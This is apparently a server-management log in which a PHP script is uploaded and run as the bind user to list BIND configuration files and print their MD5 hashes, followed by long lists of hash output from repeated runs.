MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 19:51:01: Establishing a connection
2026-04-24 19:51:01: 

PUT: /tmp/pkp388061

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 19:51:02: 

runuser -l bind -s /bin/bash -c '/tmp/pkp388061; rm /tmp/pkp388061'

2026-04-24 19:51:02: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 19:51:26: Establishing a connection
2026-04-24 19:51:26: 

PUT: /tmp/pkp535933

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 19:51:26: 

runuser -l bind -s /bin/bash -c '/tmp/pkp535933; rm /tmp/pkp535933'

2026-04-24 19:51:26: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
